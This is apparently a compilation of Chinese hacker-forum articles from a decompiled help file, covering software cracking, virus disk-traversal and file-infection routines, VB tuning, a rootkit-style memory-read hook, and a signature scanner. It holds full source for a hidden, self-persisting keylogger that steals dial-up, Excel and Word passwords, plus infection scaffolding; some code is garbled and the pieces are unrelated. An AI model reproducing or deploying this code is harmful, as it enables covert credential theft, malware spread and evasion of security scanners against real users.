:0040C1EE 25FF000000 and eax, 000000FF ；cmp al, 61后会跳到这里，eax保留低8位
:0040C1F3 6683E841 sub ax, 0041 ；0x41=’A’，计算与’A’差距
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C1EC(U)
|
:0040C1F7 8B550C mov edx, dword ptr [ebp+0C] ；edx保存第二个参数
:0040C1FA 8A5213 mov dl, byte ptr [edx+13] ；取0x13=19位
:0040C1FD 80FA61 cmp dl, 61
:0040C200 720C jb 0040C20E
:0040C202 81E2FF000000 and edx, 000000FF
:0040C208 6683EA61 sub dx, 0061
:0040C20C EB0A jmp 0040C218
上面这段与上面的代码几乎一样，不做分析。值得一提的是我们需要修正我们前面定义的结构，修正后：
struct test
{
char c18_unused[18];
char c19;
char c20
};
等价c代码
int esi;
char al;
char dl;
int edx;
int edi;
int
        eax;
int ecx;
esi = 0;
int len = strlen(strUserName);
if(len <= 0)
goto _SKIP_USERNAME;
for(int i = 0 ; i < len ; ++i)
{
esi += strUserName[i]; //计算用户名ASC和
}
_SKIP_USERNAME:
al = pt->c19_IsNumber;
if(al < ’a’) //判断字符大小写
goto IsNumber1;
al -= ’a’;
goto _CONTINUE1;

IsNumber1:
al -= ’A’;
_CONTINUE1:
 dl = pt->c20_IsNumber;
if(dl
        < ’a’)  //判断字符大小写
goto IsNumber2;

dl -= ’a’;
goto _CONTINUE2;
IsNumber2:
dl -= ’A’;
}
我们的目标快要到达了，最后的一段代码
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040C20C(U)
|
:0040C218 0FB7C0 movzx eax, ax
:0040C21B 6BF81A imul edi, eax, 0000001A
:0040C21E 0FB7C2 movzx eax, dx
:0040C221 03F8 add edi, eax
:0040C223 81F74D010000 xor edi, 0000014D
:0040C229 83F701 xor edi, 00000001
:0040C22C 8BC3 mov eax, ebx ；第一个参数
:0040C22E E8D5A4FFFF call 00406708 ；和前面分析一样求长度
:0040C233 2BF8 sub edi, eax ；减去长度值
:0040C235 8BC6 mov eax, esi ；esi是第一个参数asc码和
:0040C237 B91A000000 mov ecx, 0000001A ;ecx=0x1a=26
:0040C23C 99 cdq ;eax扩展成edx:eax
:0040C23D F7F9 idiv ecx ;除以ecx=26
:0040C23F 2BFA sub edi, edx ;减去余数
:0040C241 8BC7 mov eax, edi ；传给eax
:0040C243 5F pop edi
:0040C244 5E pop esi
:0040C245 5B pop ebx
:0040C246 5D pop ebp
:0040C247 C20800 ret 0008

这段代码也很简单，到这里我们得到近似的c源代码，这里对于cdq指令完成的功能我没有实现，但是这对问题
没有影响：
int GetUserNumber(char *
        strUserName,test * pt)
{
int esi;
char al;
char dl;
int edx;
int edi;
int
        eax;
int ecx;
esi = 0;
int len = strlen(strUserName);
if(len <= 0)
goto _SKIP_USERNAME;
for(int i = 0 ; i < len ; ++i)
{
esi += strUserName[i]; //计算用户名ASC和
}
_SKIP_USERNAME:
al = pt->c19_IsNumber;
if(al < ’a’) //判断字符大小写
goto IsNumber1;
al -= ’a’;
goto _CONTINUE1;

IsNumber1:
al -= ’A’;
_CONTINUE1:
 dl = pt->c20_IsNumber;
if(dl
        < ’a’)  //判断字符大小写
goto IsNumber2;

dl -= ’a’;
goto _CONTINUE2;
IsNumber2:
dl -= ’A’;
_CONTINUE2:
edi = al*0x1a;//26
eax = dl;
edi += eax;
edi^=0x14d;
edi^=0x1;
edi -= len;
 eax = esi;
ecx = 0x1a;
        //26
 //edx = eax的符号位扩展
edx =
        eax%ecx;
eax/=ecx;

edi -= edx;
eax = edi;
return eax;
}

到这里整个分析就结束了，我要说的是这里分析的函数比较简单，不具有一般性，涉及到更复杂的函数，比如
虚拟函数、类的分析，这里我的分析没有什么技术型可言，只是就一些简单的dll函数的反汇编，给出我的一点
经验，对您有帮助我感到很荣幸，对你没帮助浪费了您的时间我感到抱歉，希望您别骂我就好.


硬盘递归及非递归搜索技术

第一部分 硬盘递归搜索技术
by pkxp/CVC.GB
一、遍历硬盘的必要性
1． 有些病毒如FunLove要感染硬盘上所有符合条件的exe,scr文件，就要遍历硬盘，找到所有文件。
2． 有的病毒要覆盖硬盘所有文件如Worm.Opasoft.d（硬盘杀手），也要遍历硬盘，向找到的每个文件写入随机数据。
3． 要搜索某种信息，如利用邮件传播的蠕虫常常搜索htm*文件来得到邮件地址，也要遍历硬盘。
由此可见，遍历硬盘技术在病毒技术中是十分重要的。实现手段上可分为递归和非递归方法，本文讨论的是前者。
为了通用性，函数可以指定目录和文件类型。
二． 遍历硬盘函数
EnumDisk 遍历分区.可以这样使用：
Push File_EXE ; File_HTM etc.
@pushsz ‘c:’ ；若想从a盘开始，@pushsz ‘a:’
call EnumDisk
EnumDisk PROC DirName : DWORD,FileType : DWORD
.REPEAT
push FileType
push DirName
call EnumDir
mov eax , DirName
inc byte ptr [eax]
mov al,byte ptr[eax]
.UNTIL al > 'z'
mov byte ptr [eax] , 'c'
ret 8
EnumDisk ENDP
EnumDir遍历指定目录，可以看出，EnumDir并没有遍历指定文件类型而是所有文件，这是因为如果固定了类型，
则只能在当前目录下搜索，会跳过目录，从而就不会递归了，具体分析找到的文件，由AnalyseFileExt完成。
FindFirstFile，FindNextFile等函数请参见MSDN。
EnumDir PROC DirName : DWORD , FileType:DWORD
LOCAL hSearch : DWORD
LOCAL DirorFile[MAX_PATH] : DWORD
pushad
push DirName
lea esi,DirorFile
push esi
mov eax , 12345678h
_lstrcpy = dword ptr $-4
call eax
@pushsz '\*.*'
push esi ;DirorFile
call _lstrcat[ebx]
lea edi,[offset wfd+ebx]
push edi
push esi
mov eax , 12345678h
_FindFirstFile = dword ptr $-4
call eax
cmp eax,INVALID_HANDLE_VALUE
jz ED_Exit
mov hSearch,eax
.REPEAT
.if byte ptr [wfd+44+ebx]=='.'
jmp short EN_NEXT
.endif
push DirName
push esi
call _lstrcpy[ebx]
@pushsz '\'
push esi
call _lstrcat[ebx]
lea eax,[wfd+44+ebx]
push eax
push esi ;DirorFile
call _lstrcat[ebx]
mov eax , dword ptr [wfd+ebx]
and eax , FILE_ATTRIBUTE_DIRECTORY
.if eax ==FILE_ATTRIBUTE_DIRECTORY
push dword ptr FileType
push esi
call EnumDir
.else
push dword ptr FileType
push esi
call AnalyseFileExt ；分析找到的文件
.endif
EN_NEXT:
push edi
push hSearch
mov eax , 12345678h
_FindNextFile = dword ptr $-4
call eax
.UNTIL eax==0 ;FindNexeFile fail
ED_Close:
push hSearch
mov eax , 12345678h
_FindClose = dword ptr $-4
call eax
ED_Exit:
popad
ret 8
EnumDir ENDP

第二部分 硬盘非递归搜索技术
by Hume/CVC.GB
第一部分PKXP介绍了硬盘的递归搜索技术，本部分介绍非递归搜索硬盘的技术，非递归搜索技术和递归搜索技术是类似的，其不同处在于递归搜索是利用堆栈存储目录及文件数据，而非递归搜索是利用自己分配的缓冲区存储数据，相比之下这种方法更加灵活，但需要的代码量稍大。可以使用单向链表或双向链表或其他结构，但最常使用的是双向链表。
其主要思想是用非递归方法模拟递归过程，具体代码如下。
下面是一段示例代码，只是起演示说明作用，用FASM编写：
gMem dd 0
infNum dd 10
pBuf dd 0
curDrive db 'A:\',0
;-----------------------------------------
struc SXD{
.prev dd 0
.hcur dd 0
.WF32 WIN32_FIND_DATA
.size=$-.prev
}
virtual at 0
sxd SXD
end virtual
serchxdisk:
invoke ebp+aGlobalAlloc-@@0,GMEM_FIXED,256
jeaxz not_mem_file_exit
mov [ebp+gMem-@@0],eax
invoke ebp+aGetCurrentDirectory-@@0,256,eax ;保存原目录
lea eax,[ebp+curDrive-@@0]
invoke ebp+aSetCurrentDirectory-@@0,EAX
invoke ebp+aGlobalAlloc-@@0,GMEM_FIXED,sxd.size
jeaxz find_exit
xchg esi,eax
mov [esi+sxd.prev],0
find_first_file:
push '*.*'
mov eax,esp
lea ebx,[esi+sxd.WF32]
invoke ebp+aFindFirstFile-@@0,eax,ebx
pop ecx
mov [esi+sxd.hcur],eax
jeaxz find_file_prev
dir_test: ;是否是目录？
mov eax,[ebx+w32fd.dwFileAttributes]
lea edi,[esi+sxd.WF32.cFileName]
test eax,FILE_ATTRIBUTE_DIRECTORY
je file_test
cmp B [edi],'.' ;skip '.' and '..' directories
je find_file_next
mov eax,[edi]
or eax,20202020h
cmp eax,'winn' ;排除感染winn*或wind*目录。。。。
je find_file_next
cmp eax,'wind'
je find_file_next
invoke ebp+aSetCurrentDirectory-@@0,edi
xchg ecx,eax
jecxz find_file_next
invoke ebp+aVirtualAlloc-@@0,0,sxd.size,MEM_COMMIT,PAGE_READWRITE
xchg ecx,eax
jecxz step_updir
xchg esi,ecx
mov [esi+sxd.prev],ecx
jmp find_first_file
find_exit:
mov eax,[ebp+gMem-@@0]
push eax
invoke ebp+aSetCurrentDirectory-@@0,EAX ;恢复原目录
call [ebp+aGlobalFree-@@0]
not_mem_file_exit:
ret
;-------------------------------------
find_file_next:
lea ebx,[esi+sxd.WF32]
mov edi,[esi+sxd.hcur]
invoke ebp+aFindNextFile-@@0,edi,ebx
jeaxnz dir_test
invoke ebp+aFindClose-@@0,edi
find_file_prev:
push MEM_RELEASE
push sxd.size
push esi
mov esi,[esi+sxd.prev]
call [ebp+aVirtualFree-@@0]
or esi,esi
je find_exit
step_updir:
push '..'
push esp
call [ebp+aSetCurrentDirectory-@@0]
pop eax
jmp find_file_next
file_test:
;这里检验并试图感染文件...
jmp find_file_next


漫谈VB代码的优化
文章作者：小珂[EST-EvilOctal Security Team]
信息来源：中国 邪恶八进制（http://www.eviloctal.com/）
文章版权：版权归黑客基地所有 转载请注明出处
前一日子写了篇替VB喊冤，感到说理没有力度，泛泛空谈，远没有起到喊冤的效果-_-
所以呢，现在把我以前的VB代码优化的一点小小的经验总结一下，希望可以给大家带来点帮助，也希望大家能
把各自的观点补充一下~~
第一，偶认为要写出运行速度快的程序，在定义数据类型上要注意一下，
比如说Single，Double和Currency这几种数据类型如果可以的话应尽量用Integer或Long 代替，说到这，有位仁兄举手发言了：“那偶要是想数据能够保存小数，怎么能用那2个整型呢？”，别急啊，我下面就想说这个，其实小数也可以保存在Integer类型的变量中。
例如程序中约定有三位小数，那么只需要将保存在Integer变量中的数值除以1000就可以得到结果。
根据经验，使用Integer和Long替代Single，Double和Currency后，代码的运行速度可以提高将近10倍。
这个可不是吹牛啊~~，不信你也试试？
第二，要尽量避免使用变体，这个稍微懂点编程的估计都能理解，
变体类型的变量需要16个字节的空间来保存数据
如果想写出效率高，质量好的程序，就不要偷懒哦~~
第三， 尽量使用数组，避免使用集合，
能用数组的就不要考虑集合，为什么？
在VB中，数组是最高效的数据结构之一。
自己想想，集合作为一个对象，
其数据的存取速度可能只是数组的百分之一哦
，所以说能用数组的千万不要自己去找麻烦~~
当你有多个保存类似数据的变量时,也可以考虑将他们用一个数组代替。
另外记着不要使用循环来在数组间进行拷贝工作，
请使用更快的API函数：MemCopy或者RtlMoveMemory
第四，尽量 不要使用ActiveX控件
除非ActiveX控件涉及到用户界面，否则尽量使用轻量的对象，
例如类。这两者之间的效率有很大差异。
如果你设计的ActiveX对象不涉及到用户界面，就使用ActiveX DLL代替控件
在涉及到使用ActiveX控件和DLL的时候，很多程序员喜欢将它们编译好，
然后再加入工程中。我建议你最好不要这样做，
因为从VB连接到一个外部对象需要耗费大量的CPU处理能力。
每当你调用方法或存取属性的时候，都会浪费大量的系统资源。
如果你有ActiveX控件或DLL的源代码，将它们作为工程的私有对象。
第五，减少模块的数量
有些人喜欢将通用的函数保存在模块中，对于这一点我表示赞同。
但是在一个模块中只写上二三十行代码就有些可笑了。
如果你不是非常需要模块，尽量不要使用它。这
样做的原因是因为只有在模块中的函数或变量被调用时，
VB才将模块加载到内存中；当VB应用程序退出时，
才会从内存中卸载这些模块。如果代码中只有一个模块，
VB就只会进行一次加载操作，这样代码的效率就得到了提高；
反之如果代码中有多个模块，VB会进行多次加载操作，代码的效率会降低。
第六，减少图片的使用
图片将占用大量内存，而且处理图片也需要占用很多CPU资源。
在软件中，如果可能的话，
可以考虑用背景色来替代图片，这个我常用，呵呵~~
第七，其他的一些小技巧
1,判断字符串是否为空
检查字符串是否为空时一般使用这种方法
If Text1.Text = "" then
end if
如果使用
If Len(Text1.Text) = 0 then
end if
效率会大大提高
2，多使用With语句引用对象
3，单独定义和分配对象
定义对象和分配数值可以使用联合语句：Dim obj As New MyClass。但是这要比以下2个单独的语句运行速度慢：
Dim obj As MyClass
Set obj = New MyClass
4,使用Move方法
在改变对象的位置时，有些程序员喜欢使用Width，Height，Top和Left属性,如果使用Move方法代替，效率会提高很多
比如
Image1.Width = 100
Image1.Height = 100
Image1.Top = 0
Image1.Left = 0
就可以使用Image1.Move 0,0,100,100 代替
第八，算法优化
尽可能不要使用平方根运算
实践证明，使用平方根运算将耗费很多的运行时间。
比如：宁可使用语句If a * a + b * b = 4 Then ...，
而不要使用达到同等目的的命令If Sqr(a * a + b * b) = 2 Then ...。
写了一夜了，也就是把自己以前的一点经验总结一下，当然还有许多方法一时也想不起来了
我会在想到过找到这方面的信息时再继续哦，希望大家也能把自己的相关经验补充一下
另外我写的如果有原则性错误也欢迎大家批评指正，这里先谢谢了~~
我去睡觉了。。。-_-


整理东西的时候翻出了个几年前的程序，功能是当用户输入拨号、EXCEL，WORD密码时，将其保存在一个文件里。程序用的是日志钩子，这样就不用象其他全局HOOK那样，必须单写一个DLL。
        整理东西的时候翻出了个几年前的程序，功能是当用户输入拨号、EXCEL，WORD密码时，将其保存在一个文件里。程序用的是日志钩子，这样就不用象其他全局HOOK那样，必须单写一个DLL。
为了让初学者深入了解，将源代码贴上来,（SDK程序VC，BCB等WIN下的C编译器均可编译）象现在那些记录E-MAIL密码，OICQ密码等工具都是这原理，俺当时写着玩意的时候还没有OICQ。

有兴趣的可以自己加上。

#include
#define KeyPMask
        0x80000000
#define SERVICE_PROC 1
#define UNSERVICE_PROC 0
#define RUN "\\GmkMon.exe"

typedef struct tagKEYDATA{
char kKey;
SHORT kShift;
SHORT kCaps;
SHORT kNum;
BOOL bShift;
BOOL bCaps;
BOOL bNum;
}KEYDATA,*LPKEYDATA;

HHOOK hHook=NULL;
DWORD (WINAPI
        *RegisterServiceProcess)(DWORD,DWORD);

LRESULT CALLBACK
        WndProc (HWND, UINT, WPARAM, LPARAM) ;
LRESULT CALLBACK
        JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam);

BOOL WINAPI HideProc(int mode)
{
HINSTANCE
        DLLInst=LoadLibrary("KERNEL32.DLL");
if(DLLInst)
{
RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))
GetProcAddress(DLLInst,"RegisterServiceProcess");
if(RegisterServiceProcess)
{
RegisterServiceProcess(GetCurrentProcessId(),mode);
return TRUE;
}
else
return FALSE;
}
else return FALSE;
}

BOOL WINAPI IsPassWindow()
{
HWND
        hWnd,curHwnd;
TCHAR szTemp[MAX_PATH];
DWORD dwsTyle;

hWnd=GetActiveWindow();

if(hWnd==NULL)
        return FALSE;
curHwnd =hWnd;
while(curHwnd!=NULL)
{
hWnd=curHwnd;
curHwnd=GetParent(hWnd);
}

dwsTyle=GetWindowLong(hWnd,GWL_STYLE);
if(dwsTyle & ES_PASSWORD) //普通密码框
return TRUE;
else
        if(!lstrcmp(szTemp,"EDTBX")) //Excel密码
return TRUE;
else
        if(!lstrcmp(szTemp,"RichEdit20W") && (dwsTyle & WS_SYSMENU))
return TRUE; //WORD密码

GetWindowText(hWnd,szTemp,
        sizeof(szTemp));
if(!strncmp(szTemp,"连接到",6)) //拨号网络
return
        TRUE;

return FALSE;
}

TCHAR
        WINAPI GetKey(int nKey)
{
KEYDATA kd;

kd.kShift=GetKeyState(VK_SHIFT);
kd.kCaps=GetKeyState(0x14);
kd.kNum=GetKeyState(0x90);

kd.bShift=(kd.kShift & KeyPMask)==KeyPMask;
kd.bCaps=(kd.kCaps & 1)==1;
kd.bNum=(kd.kNum & 1)==1;

if(nKey>=48 && nKey if(!kd.bShift) return
        (kd.kKey=nKey);

if(nKey>=65 && nKey {
if(!kd.bCaps)
if(kd.bShift) kd.kKey=nKey;
else
        kd.kKey=nKey+32;
else if (kd.bShift) kd.kKey=nKey+32;
else
        kd.kKey=nKey;

return kd.kKey;
}

if(nKey>=96 && nKey if(kd.bNum)
return
        (kd.kKey=(nKey-96+48));

if(nKey>=186
        && nKey {
switch(nKey)
{
case 186:
if(!kd.bShift) kd.kKey=';';else kd.kKey=':';
break;

case 187:
if(!kd.bShift) kd.kKey='=';else kd.kKey='+'
        ;
break;

case 188:
if (!kd.bShift)
        kd.kKey=',';else kd.kKey=' ' ;
break;

case 191:
if
        (!kd.bShift) kd.kKey='/';else kd.kKey='?' ;
break;

case 192:
if (!kd.bShift) kd.kKey='`' ; else
        kd.kKey='~' ;
break;

case 219:
if (!kd.bShift)
        kd.kKey='[' ; else kd.kKey='{' ;
break;

case 220:
if (!kd.bShift) kd.kKey='\\' ; else kd.kKey='|' ;
break;

case 221:
if (!kd.bShift) kd.kKey=']' ; else
        kd.kKey='}' ;
break;

case 222:
if (!kd.bShift)
        kd.kKey='\\'; else kd.kKey='\\';
break;

default:kd.kKey='n' ;break;
}
if(kd.kKey!='n')
        return kd.kKey;
}

}

void
        WINAPI WritePassFile(int nKey)
{
HANDLE hFile;
DWORD
        dwBytesWrite=1;
TCHAR lpStr,szTemp[MAX_PATH];

hFile=CreateFile("C:\\passdata.txt",
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
NULL
);

SetFilePointer(hFile,0,NULL,FILE_END);
lpStr=GetKey(LOBYTE(nKey));
WriteFile(hFile,&lpStr,1,&dwBytesWrite,0);
CloseHandle(hFile);
}

void WINAPI
        InstallHook(HINSTANCE hInstance)
{
if(hHook==NULL)
hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInstance,0);
}

void WINAPI UninstallHook()
{
if(hHook!=NULL)
UnhookWindowsHookEx(hHook);
}

LRESULT CALLBACK JournalRecordProc(int
        nCode,WPARAM wParam,LPARAM lParam)
{

EVENTMSG
        *pMess=(EVENTMSG *)lParam;
POINT pt;

switch(pMess->message)
{
case
        WM_KEYDOWN:
if(IsPassWindow())
WritePassFile(LOBYTE(pMess->paramL));
break;

case WM_LBUTTONDBLCLK:
GetCursorPos(&pt);
break;
}

return
        CallNextHookEx(hHook,nCode,wParam,lParam);
}

int WINAPI WinMain (HINSTANCE hInstance,
        HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{

HANDLE
        hMutex=CreateMutex(NULL,FALSE,"GMKRunOnlyOne");
if(hMutex==NULL||ERROR_ALREADY_EXISTS==GetLastError()){
ExitProcess(1);
}

static char szAppName[] =
        "jiajia" ;
HWND hwnd ;
MSG msg ;
WNDCLASSEX wndclass ;
HKEY hKey=0;
DWORD disp=0;
LONG lResult;
TCHAR
        szKey[MAX_PATH];
TCHAR szSysDir[MAX_PATH+25];
TCHAR
        szFileName[MAX_PATH];

wndclass.cbSize = sizeof (wndclass)
        ;
wndclass.style = CS_HREDRAW | CS_VREDRAW ;
wndclass.lpfnWndProc = WndProc ;
wndclass.cbClsExtra = 0 ;
wndclass.cbWndExtra = 0 ;
wndclass.hInstance = hInstance ;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ;
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
wndclass.lpszMenuName = NULL ;
wndclass.lpszClassName =
        szAppName ;
wndclass.hIconSm = LoadIcon (NULL, IDI_APPLICATION) ;

RegisterClassEx(&wndclass);

hwnd=CreateWindow( szAppName, "jia jia",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, hInstance, NULL
);

ShowWindow(hwnd,SW_HIDE);
UpdateWindow(hwnd);
HideProc(SERVICE_PROC);
InstallHook(hInstance);

GetSystemDirectory(szSysDir,MAX_PATH);
lstrcat(szSysDir,RUN);
GetModuleFileName(NULL,szFileName,MAX_PATH);
CopyFile(szFileName,szSysDir,FALSE);

lstrcpy(szKey,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
lResult=RegCreateKeyEx( HKEY_LOCAL_MACHINE,
szKey,
0,
NULL,
REG_OPTION_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&hKey,
&disp
);

if(lResult==ERROR_SUCCESS)
{
lResult=RegSetValueEx(hKey,"GmkMon",0,REG_SZ,szSysDir,lstrlen(szSysDir));
RegCloseKey(hKey);
}

while (GetMessage
        (&msg, NULL, 0, 0))
{
TranslateMessage (&msg) ;
DispatchMessage (&msg) ;
}
return msg.wParam ;
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM
        wParam, LPARAM lParam)
{

switch (iMsg)
{
case
        WM_PAINT:
return 0 ;

case WM_DESTROY:
UninstallHook();
PostQuitMessage (0) ;
return 0 ;
}

return DefWindowProc(hwnd,iMsg,wParam,lParam);
}

This file is decompiled by an
        unregistered version of ChmDecompiler.
Regsitered version does not
        show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


Author: Polymorphours
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date: 2005-11-17

/*++
Author: Polymorphours

Date: 2005/1/10
通过对 NtReadVirtualMemory 挂钩，防止其他进程对保护的模块进行扫描，
如果发现其他进程读被保护模块的内存，则返回0
--*/

typedef struct _LDR_DATA_TABLE_ENTRY {

LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;

/*
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 Void
+0x04c PatchInformation : Ptr32 Void
*/
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
/*++
函数名: MyNtReadVirtualMemory

参数:
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
OUT PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL

功能：
隐藏保护模块的内存,如果发现有内存扫描到这块内存，则返回加密后的数据扰乱扫描过程

返回:
NTSTATUS

--*/

NTSTATUS
MyNtReadVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
OUT PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL
)
{
NTSTATUS status;
PEPROCESS eProcess;
PVOID Peb;

PPEB_LDR_DATA PebLdrData;
PLDR_DATA_TABLE_ENTRY LdrDataTableHeadList;
PLDR_DATA_TABLE_ENTRY LdrDataTableEntry;

PLIST_ENTRY Blink;
PPROTECT_NODE FileNode = NULL;
BOOLEAN bHideFlag = FALSE;
ULONG ImageMaxAddress = 0;
/*
#ifdef _DEBUG
DbgPrint( "Call
        Process: %s, BaseAddress: %08x\n", PsGetProcessImageFileName(
        PsGetCurrentProcess() ), BaseAddress );
#endif
*/
status =ObReferenceObjectByHandle(
ProcessHandle,
FILE_READ_DATA,
PsProcessType,
KernelMode,
(PVOID)&eProcess,
NULL
);
if ( NT_SUCCESS(status) ) {

//
// 得到PEB的地址
//

Peb = (PVOID)(*(PULONG)((PCHAR)eProcess + PebOffset));

//
// 切换到目标进程空间
//

KeAttachProcess( eProcess );

//
// 判断PEB是否有效，如果有效，那么准备利用PEB结构遍历进程加载的模块
//
if ( !MmIsAddressValid( Peb ) ) {
/*
#ifdef _DEBUG
DbgPrint( "PEB is error.\n" );
#endif
*/

KeDetachProcess();
ObDereferenceObject( eProcess );

goto CLEANUP;
}

PebLdrData = (PPEB_LDR_DATA)(*(PULONG)( (PCHAR)Peb + 0xc ));

if ( !PebLdrData ) {

KeDetachProcess();
ObDereferenceObject( eProcess );

goto CLEANUP;
}

try {

ProbeForRead (
PebLdrData,
sizeof(PEB_LDR_DATA),
sizeof(ULONG)
);

//
// 遍历模块链表
//

LdrDataTableHeadList = (PLDR_DATA_TABLE_ENTRY)PebLdrData->InLoadOrderModuleList.Flink;
LdrDataTableEntry = LdrDataTableHeadList;

do {

ProbeForRead(
LdrDataTableEntry,
sizeof(LDR_DATA_TABLE_ENTRY),
sizeof(ULONG)
);

if ( !LdrDataTableEntry->DllBase ) {
     LdrDataTableEntry
        =
        (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
continue;
}

//
// 判断读的内存属于那一个模块，如果都不属于，那么放过
//
ImageMaxAddress = (ULONG)((ULONG)LdrDataTableEntry->DllBase + LdrDataTableEntry->SizeOfImage);

if ( (ULONG)( (ULONG)BaseAddress + BufferLength) < (ULONG)LdrDataTableEntry->DllBase ||
(ULONG)BaseAddress > ImageMaxAddress ) {
//
// 如果不是读模块区域，那么枚举下一个
//
     LdrDataTableEntry
        =
        (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;
continue;
}

//
//
        如果是被保护的模块，那么返回虚假数据
//
bHideFlag = FALSE;
Blink = ProtectFile.Blink;
while ( Blink != &ProtectFile ) {
FileNode = CONTAINING_RECORD( Blink, PROTECT_NODE, ActiveLink );

//
// 如果发现当前文件存在于隐藏列表，那么设置隐藏标志隐藏它
//
if ( wcsstr(
   FileNode->ProtectName, LdrDataTableEntry->FullDllName.Buffer ) )
   {
      bHideFlag =
        TRUE;
break;
}
     Blink =
        Blink->Blink;
}

if
        ( bHideFlag )
        {

//
//
        返回原本的进程空间进行处理
//
KeDetachProcess();
ObDereferenceObject( eProcess );
ProbeForWrite(
Buffer,
BufferLength,
sizeof(ULONG)
);

memset( Buffer, 0x00, BufferLength );

ProbeForWrite(
ReturnLength,
sizeof(PULONG),
sizeof(ULONG)
);

*ReturnLength = BufferLength;

return STATUS_SUCCESS;
}

LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->InLoadOrderLinks.Flink;

} while ( LdrDataTableEntry != LdrDataTableHeadList );
} except( EXCEPTION_EXECUTE_HANDLER ) {
   if ( !bHideFlag )
        {

KeDetachProcess();
ObDereferenceObject(
        eProcess );
}
goto CLEANUP;
}

KeDetachProcess();
ObDereferenceObject( eProcess );
}

CLEANUP:
return NtReadVirtualMemory(
ProcessHandle,
BaseAddress,
Buffer,
BufferLength,
ReturnLength
);
}

WSS(Whitecell Security Systems)，一个非营利性民间技术组织，致力于各种系统安全技术的研究。坚持传统的hacker精神，追求技术的精纯。
WSS 主页：http://www.whitecell.org/
WSS 论坛：http://www.whitecell.org/forums/


病毒判断技术浅谈
相信大多数人都用过杀毒软件吧，也知道病毒软件需要经常的更新病毒库吧，呵呵，其实这个病毒库里面收集的就是从病毒中提取的特征码。然后通过特征码的比较来判断文件是否为病毒。知道了这些我们就可以自己动手来做一个简单的病毒判断程序了。
首先我们要自己提取病毒特征码，为了安全起见，我就用CA来做例子吧，什么？不知道CA？那你就到百度搜索一下吧，我就不在这里多说了。
经过UltraEdit的编辑，我们找到以下东西
00000c90h：0A 73 53 41 2E 65 78 30 5C 5C 31 39 32 2E 31 36 sSA.ex0\\192.16
00000ca0h：38 2E 30 B0 64 21 73 05 3C 83 98 1B 76 5B 36 8B 8.0癲!s<儤v[6?
如果你用过ca的话，应该知道这个就是ca帮助里面的内容了，如下
C:\>ca
Shadow Administrator, by netXeyes 2002/04/28
Written by netXeyes 2002, dansnow@21cn.com
Usage: SA \\IP Account Password CloneAccount ClonePassword
Account: Username (Own Administrator Privilege)
Password: Password of User
CloneAccount: CloneUser's Account Name (Must Already Exsited)
ClonePassword: Set Password of CloneUser
Examples:
=========
SA.exe \\192.168.0.16 Administrator Password IUSR_VICTIM SetNewPass
Clone Privillege of Administrator to IUSR_VICTIM,
And Set IUSR_VICTIM Password to "SetNewPass"

相信这个代码在别软件出现几率应该是很底的吧，当然你也可以选其他的作为特征码。这里我就用这个了。
从上面我们可以知道：
文件偏移地址0x0c90
提取特征码长度：0x20(32)
特征码内容：0A 73 53 41 2E 65 78 30 5C 5C 31 39 32 2E 31 36
38 2E 30 B0 64 21 73 05 3C 83 98 1B 76 5B 36 8B
我们现在就可以用程序来实现代码的比较了，以下就是写好的程序：
#include <stdio.h>
#include
        <string.h>
bool scanvir(const char *file,long offset, int
        length, void *vir);
main()
{
int i;
unsigned char
        vir[]=
{0x0A,0x73,0x53,0x41,0x2E,0x65,0x78,0x30,0x5C,0x5C,0x31,0x39,0x32,0x2E,0x31,0x36,0x38,0x2E,0x30,0xB0,0x64,0x21,0x73,0x05,0x3C,0x83,0x98,0x1B,0x76,0x5B,0x36,0x8B};
i=scanvir("c:\\CA.exe",0x0c90,0x20,vir); //调用查毒函数
if(i==1) printf("警告!发现病毒。\n");
if(i==0)
        printf("没有发现病毒。\n");
}
bool scanvir(const char *file,long offset,
        int length, void *vir)
{
FILE *fp = NULL;
int a=0;
char
        rvir[255]={0};
bool b=false;
fp=fopen(file,"rb");
        //以2进制打开指定文件
if(NULL==fp)
{goto
        novir;}
fseek(fp,offset,SEEK_SET);
        //把文件指针指向偏移地址
fread(rvir,length,1,fp);
        //读取length长度的代码
a=memcmp(vir,rvir,length);
        //与我们提取的代码比较，返回值放到a中
if(a==0)
{
b=true;
}
novir:if(fp){
        fclose(fp); fp=NULL; }
return b;
}
